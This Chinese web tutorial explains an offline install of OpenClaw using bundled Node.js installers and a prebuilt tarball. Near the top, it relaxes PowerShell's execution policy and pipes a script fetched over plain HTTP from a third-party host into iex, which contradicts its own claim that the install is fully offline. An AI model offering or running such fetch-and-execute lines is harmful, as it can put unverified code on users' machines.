OpenClaw 最全自动安装教程

2026-05-05阅读 0热度 0
ai 人工智能 OpenClaw 安装教程

OpenClaw 完整离线安装包

版本号:OpenClaw 2026.3.8

Node.js版本:22.22.1(完美满足OpenClaw对Node.js版本不低于22.12.0的要求)

执行权限设置:Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

安装脚本:irm http://yx-web.nos.netease.com/package/1773302731109/install-0.1.7.ps1 | iex

???? 包内容

整个安装包结构清晰,包含了所有必要的组件:

openclaw-complete-with-installers/
├── openclaw-installed.tar.gz      # OpenClaw完整安装包(153MB,包含全部802个依赖)
├── nodejs-installers/             # Node.js安装包(推荐首选)
│   ├── node-v22.22.1-x64.msi      # Windows安装包(30MB)
│   └── node-v22.22.1.pkg          # macOS通用安装包(84MB,兼容Intel和Apple Silicon)
├── nodejs-portable/               # Node.js便携版(备用方案)
│   ├── node-v22.22.1-win-x64.zip  # Windows便携版(34MB)
│   ├── node-v22.22.1-darwin-arm64.tar.gz # macOS ARM64便携版(48MB)
│   └── node-v22.22.1-linux-x64.tar.gz    # Linux便携版(54MB)
├── install-macos-linux.sh         # macOS/Linux安装脚本
├── install-windows.ps1            # Windows PowerShell脚本
├── install-windows.bat            # Windows批处理启动器
└── README.md                      # 本文档

???? 安装步骤

Windows平台(推荐方法)

方法1:使用安装包(最简单快捷)⭐

安装Node.js步骤:

双击nodejs-installers\node-v22.22.1-x64.msi文件,按照安装向导提示操作即可(基本上就是一路"下一步")。安装完成后,记得重新打开命令提示符窗口。

安装OpenClaw步骤:

# 在PowerShell中执行以下命令:
tar -xzf openclaw-installed.tar.gz -C $env:APPDATA\npm

验证安装结果:

openclaw --version
方法2:使用便携版

解压nodejs-portable\node-v22.22.1-win-x64.zip文件到C:\Tools\目录,然后将C:\Tools\node-v22.22.1-win-x64添加到系统PATH环境变量中。重新打开命令提示符后,执行:tar -xzf openclaw-installed.tar.gz -C %APPDATA%\npm

方法3:使用自动脚本

直接双击运行install-windows.bat文件即可。


macOS平台(推荐方法)

方法1:使用安装包(最简单快捷)⭐

安装Node.js步骤:

双击nodejs-installers/node-v22.22.1.pkg文件,按照安装向导完成安装(该安装包同时支持Intel和Apple Silicon芯片)。

安装OpenClaw步骤:

sudo tar -xzf openclaw-installed.tar.gz -C /usr/local

验证安装结果:

openclaw --version
方法2:使用自动脚本
chmod +x install-macos-linux.sh
./install-macos-linux.sh

Linux平台

方法1:使用便携版
# 1. 安装Node.js
sudo tar -xzf nodejs-portable/node-v22.22.1-linux-x64.tar.gz -C /usr/local --strip-components=1
# 2. 验证Node.js安装
node --version
# 3. 安装OpenClaw
sudo tar -xzf openclaw-installed.tar.gz -C /usr/local
# 4. 验证完整安装
openclaw --version
方法2:使用自动脚本
chmod +x install-macos-linux.sh
./install-macos-linux.sh

✅ 验证安装

安装完成后,建议通过以下命令验证各组件是否安装成功:

node --version
# 预期输出:v22.22.1
npm --version
# 预期输出:10.x.x
openclaw --version
# 预期输出:OpenClaw 2026.3.8 (...)

???? 推荐安装方式对比

平台 推荐方法 优点
Windows 使用.msi安装包 自动配置PATH,安装过程最简单
macOS 使用.pkg安装包 自动配置PATH,安装过程最简单
Linux 使用便携版 灵活性高,特别适合服务器环境

???? 常见问题

Windows平台:找不到openclaw命令

问题原因:通常是因为npm全局目录没有添加到系统PATH环境变量中。

解决方案:

运行命令:npm config get prefix获取npm全局目录路径,然后将该路径添加到系统PATH中。通常情况下,这个路径是:C:\Users\<用户名>\AppData\Roaming\npm

macOS平台:找不到openclaw命令

解决方案:

echo 'export PATH="/usr/local/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc

权限错误

解决方案:

Windows系统:以管理员身份运行PowerShell;macOS/Linux系统:在命令前加上sudo获取管理员权限。


???? 更多帮助

如果需要更详细的技术文档,可以参考以下文件:

详细手动安装命令:查看WINDOWS-MANUAL-COMMANDS.md文件

跨平台安装指南:查看OFFLINE-INSTALL-GUIDE.md文件

OpenClaw命令参考:查看openclaw-commands.md文件


???? 快速参考

Windows一键安装

# 1. 双击安装Node.js: nodejs-installers\node-v22.22.1-x64.msi
# 2. 重新打开PowerShell,执行:
tar -xzf openclaw-installed.tar.gz -C $env:APPDATA\npm
openclaw --version

macOS一键安装

# 1. 双击安装Node.js: nodejs-installers/node-v22.22.1.pkg
# 2. 在终端执行:
sudo tar -xzf openclaw-installed.tar.gz -C /usr/local
openclaw --version

Linux一键安装

sudo tar -xzf nodejs-portable/node-v22.22.1-linux-x64.tar.gz -C /usr/local --strip-components=1
sudo tar -xzf openclaw-installed.tar.gz -C /usr/local
openclaw --version

⚠️ 重要说明

Node.js版本要求:OpenClaw要求Node.js版本不低于22.12.0,本安装包包含的Node.js 22.22.1完全满足此要求。

完整依赖:openclaw-installed.tar.gz文件包含了全部802个npm依赖包,无需额外下载。

离线安装:整个安装过程完全离线进行,不需要任何网络连接,适合各种网络环境。

免责声明

本网站新闻资讯均来自公开渠道,力求准确但不保证绝对无误,内容观点仅代表作者本人,与本站无关。若涉及侵权,请联系我们处理。本站保留对声明的修改权,最终解释权归本站所有。

相关阅读

更多
欢迎回来 登录或注册后,可保存提示词和历史记录
登录后可同步收藏、历史记录和常用模板
注册即表示同意服务条款与隐私政策